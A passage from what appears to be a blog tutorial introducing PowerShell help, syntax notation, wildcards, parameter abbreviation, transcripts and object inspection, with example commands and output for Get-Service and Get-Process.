<p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372254" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372256" width="820" height="585" /></a></p>

<p>When we want to get specific help on any cmdlet we can use the get-help cmdlet or it’s alias help:</p>

<p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372259" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372261" width="813" height="527" /></a></p>

<p>This will provide us with a base help for the cmdlet where we can see:</p>

<ul>
  <li>Name </li>

  <li>Synopsis </li>

  <li>Syntax </li>

  <li>Description </li>

  <li>Related Links </li>

  <li>Remarks </li>
</ul>

<p>We can use the<strong> –detail</strong> option to get more details on the options, their types and position in the command arguments if we pass each value without an option, we can also use the <strong>–examples</strong> to get example on how to use the cmdlet and a brief description of what the command is doing and we can get a with <strong>–full</strong> the entire content of the help message. You can consider help/Get-Help as the man command in Unix/Linux. When you look at the Syntax section the options you can quickly determine what values you can provide to them. When we see the message we will see that each optional Parameter we can pass is between <strong>[ ], </strong>if a parameter is not optional it will not be enclosed in [ ]<strong>, </strong>some options do not require values those are just <strong>–&lt;Parametername&gt;</strong> other will take a value, for those that take a value PS will let you know the value type if it is a string, integer, object ..etc between <strong>&lt;&gt;</strong>, some can take a list of values and you will notice those will be in the format of <strong>&lt;type[]&gt;</strong>&#160; and those that have a predefined list of options that can be given to a parameter will be in the format of <strong>&lt; option1 | option2 | option3&gt;.</strong>&#160; I highly recommend that when starting with a cmdlet for the first time to use the –full parameter when getting help. The full help message will provide us additional information for each parameter as shown bellow:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"> -Name &lt;string[]&gt;
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Specifies the service names of services to be retrieved. Wildcards are permitted. By default, Get-Service gets
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     all of the services on the computer.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Required?                    false
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Position?                    1
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Default value
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Accept pipeline input?       true (ByValue, ByPropertyName)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Accept wildcard characters?  true
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"> -RequiredServices [&lt;SwitchParameter&gt;]
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Gets only the services that this service requires.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     This parameter gets the value of the ServicesDependedOn property of the service. By default, Get-Service gets a
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     ll services.
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Required?                    false
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Position?                    named
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Default value                False
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Accept pipeline input?       false
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">     Accept wildcard characters?  false</pre></pre>

<p>As it can be seen for the –Name parameter we can see additional information like if it is required or not, the position when calling the cmdlet, this means that the cmdlet will take the first thing given to it an use it as the value for this parameter when the parameter is not given, we can also see it accepts inputs from the pipeline and that this can be a value or a property. In the case of the RequiredServices&#160; parameter the position is named, that means that the name of the parameter must be specified with the value.</p>

<p>If the computer you are running PowerShell on has internet connectivity you can give the parameter<strong>–online</strong> to the <strong>Get-Help</strong> cmdlet to open a browser window with the latest help information for it.</p>

<p>Let take a look at the Get-Service cmdlet:&#160;&#160; </p>

<p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372262" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-9f455b97228d_7727-?fileId=17372264" width="689" height="412" /></a></p>

<p>As we can see we in syntax we can call the cmdlet in 3 different ways, one where we start by providing the name or names of the service, another where we provide Display Names and a third where we pass service controller objects (Remember PowerShell cmdlets output objects). Let look at the first one:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 600px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Get-Service [[-Name] &lt;string[]&gt;] [-ComputerName &lt;string[]&gt;] [-DependentServices] [-Exclude &lt;string[]&gt;] [-Include &lt;string[]&gt;] [-RequiredServices] [&lt;CommonParameters&gt;]
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre></pre>

<p>As we can see the <strong>–Name</strong> parameter takes a list of strings. Lets get the state of several services:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 600px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Users\Carlos Perez&gt; <strong>Get-Service -Name <span style="color: #0000ff">BITS</span>, VSS</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Status   Name               DisplayName
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">------   ----               -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Running  <span style="color: #0000ff">BITS</span>               Background Intelligent Transfer Ser...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Stopped  VSS                Volume Shadow Copy</pre></pre>

<p>Now we ask for a full help for the command we will see for the name option that it accepts wildcard characters for the parameter of <strong>-Name</strong> and for the parameter of <strong>–DisplayName</strong>&#160; so we can search for any service with the word WMI in its Display Name:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 600px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Users\Carlos Perez&gt; <strong>Get-Service -DisplayName *WMI*</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Status   Name               DisplayName
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">------   ----               -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Stopped  wmiApSrv           WMI Performance Adapter</pre></pre>

<p>The Wildcard Characters that can be used are shown in the table bellow:</p>

<table style="line-height: normal" width="681"><tbody>
    <tr>
      <th><font color="#000000" size="2">Wildcard Character </font></th>

      <th><font color="#000000" size="2">Description </font></th>

      <th><font color="#000000" size="2">Example </font></th>
    </tr>

    <tr>
      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>*</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>Matches zero or more characters, starting at the specified position</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>a*</strong></font></p>
      </td>
    </tr>

    <tr>
      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>?</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>Matches any character at the specified position</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>?n</strong></font></p>
      </td>
    </tr>

    <tr>
      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>[ ]</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>Matches a range of characters</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>[a-l]name</strong></font></p>
      </td>
    </tr>

    <tr>
      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>[ ]</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>Matches the specified characters</strong></font></p>
      </td>

      <td style="padding-bottom: 1px; padding-left: 1px; padding-right: 1px; padding-top: 1px">
        <p><font color="#000000" size="2"><strong>[bc]name</strong></font></p>
      </td>
    </tr>
  </tbody></table>

<p>&#160;</p>

<p>In PowerShell one can use parameter abbreviation, similar to what one can do with commands on Cisco IOS we only need to enter enough of the parameter name that is is unique against the other. In the Get-Process cmdlet the only parameter that starts with the letter N is Name so we can shorten it to only this letter:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 600px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Users\Carlos Perez&gt; <strong>Get-Process -N *vm*</strong>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">-------  ------    -----      ----- -----   ------     -- -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">    270      20     8956       7708    87            1392 vmtoolsd
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">    289      23    15252      14388   145   113.97   2544 vmtoolsd
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">     68       9     3444       3148    68     0.55   2532 VMwareTray</pre></pre>

<p>As we play with parameters and comandlets one of the things we can do is to maintain a transcript. We can do this with the <strong>Start-Transcript</strong> cmdlet, this will save all of our commands and output to a file and when we issue the cmdlet <strong>Stop-Transcript</strong> it will stop recording our action, we can even append to an existing file by giving it the <strong>–Append</strong> parameter. One thing to note is that you can not use it on ISE. </p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 600px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Windows\system32&gt; Start-Transcript C:\windows\Temp\testtranscript.txt
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Transcript started, output file is C:\windows\Temp\testtranscript.txt
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Windows\system32&gt; Get-Service | select -first 1
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Status   Name               DisplayName
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">------   ----               -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Stopped  AeLookupSvc        Application Experience
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Windows\system32&gt; Get-process | select -first 1
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Handles  NPM(K)    PM(K)      WS(K) VM(M)   CPU(s)     Id ProcessName
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">-------  ------    -----      ----- -----   ------     -- -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">     23       4     2128       1460    38     0.09    408 cmd
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">LogName: PS C:\Windows\system32&gt; Stop-Transcript
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Transcript stopped, output file is C:\windows\Temp\testtranscript.txt</pre></pre>

<p>Now as mentioned before PowerShell cmdlets return objects and we can pipe this objects to other cmdlets. We can illustrate by saving an object in to a variable and looking at what we have available. In PowerShell variables start with with $ In this example we will look at the object for the BITS service:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 600px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Windows\system32&gt; $srv = Get-Service -Name <span style="color: #0000ff">BITS</span>
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Windows\system32&gt; $srv
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Status   Name               DisplayName
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">------   ----               -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">Running  <span style="color: #0000ff">BITS</span>               Background Intelligent Transfer Ser...</pre></pre>

<p>If we want to know it’s type we can use the .Net method of gettype()</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 600px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">PS C:\Windows\system32&gt; $srv.GetType().fullname
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 13px">System.ServiceProcess.ServiceController</pre></pre>

<p>If we want to look at the methods (actions that can be taken) and Properties (Information) of an object we can use the <strong>Get-Members</strong> cmdlet.</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; Get-Member -InputObject $srv
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">   TypeName: System.ServiceProcess.ServiceController
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Name                      MemberType    Definition
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">----                      ----------    ----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Name                      AliasProperty Name = ServiceName
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">RequiredServices          AliasProperty RequiredServices = ServicesDependedOn
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Disposed                  Event         System.EventHandler Disposed(System.Object, System.EventArgs)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Close                     Method        System.Void Close()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Continue                  Method        System.Void Continue()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CreateObjRef              Method        System.Runtime.Remoting.ObjRef CreateObjRef(type requestedType)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Dispose                   Method        System.Void Dispose()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Equals                    Method        bool Equals(System.Object obj)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ExecuteCommand            Method        System.Void ExecuteCommand(int command)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">GetHashCode               Method        int GetHashCode()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">GetLifetimeService        Method        System.Object GetLifetimeService()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">GetType                   Method        type GetType()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">InitializeLifetimeService Method        System.Object InitializeLifetimeService()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Pause                     Method        System.Void Pause()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Refresh                   Method        System.Void Refresh()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Start                     Method        System.Void Start(), System.Void Start(string[] args)
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Stop                      Method        System.Void Stop()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ToString                  Method        string ToString()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">WaitForStatus             Method        System.Void WaitForStatus(System.ServiceProcess.ServiceControllerStatus desi...
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CanPauseAndContinue       Property      System.Boolean CanPauseAndContinue {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CanShutdown               Property      System.Boolean CanShutdown {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CanStop                   Property      System.Boolean CanStop {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Container                 Property      System.ComponentModel.IContainer Container {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DependentServices         Property      System.ServiceProcess.ServiceController[] DependentServices {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">DisplayName               Property      System.String DisplayName {get;set;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">MachineName               Property      System.String MachineName {get;set;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ServiceHandle             Property      System.Runtime.InteropServices.SafeHandle ServiceHandle {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ServiceName               Property      System.String ServiceName {get;set;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ServicesDependedOn        Property      System.ServiceProcess.ServiceController[] ServicesDependedOn {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">ServiceType               Property      System.ServiceProcess.ServiceType ServiceType {get;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Site                      Property      System.ComponentModel.ISite Site {get;set;}
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Status                    Property      System.ServiceProcess.ServiceControllerStatus Status {get;}</pre></pre>

<p>&#160;</p>

<p>We can also pipe the contents of the variable to the the cmdlet like so <strong>$srv | Get-Members</strong> as we can see we can get information like status, type, dependencies and we can take actions like pause , start and stop. we can also use tab completion to cycle thru the methods and properties of an object when it is in a variable. </p>

<p>Lets stop the service and get it’s status before and after:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; (Get-Service -Name <span style="color: #0000ff">BITS</span>).status
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Stopped
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; (Get-Service -Name <span style="color: #0000ff">BITS</span>).start()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; (Get-Service -Name <span style="color: #0000ff">BITS</span>).status
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Running</pre></pre>

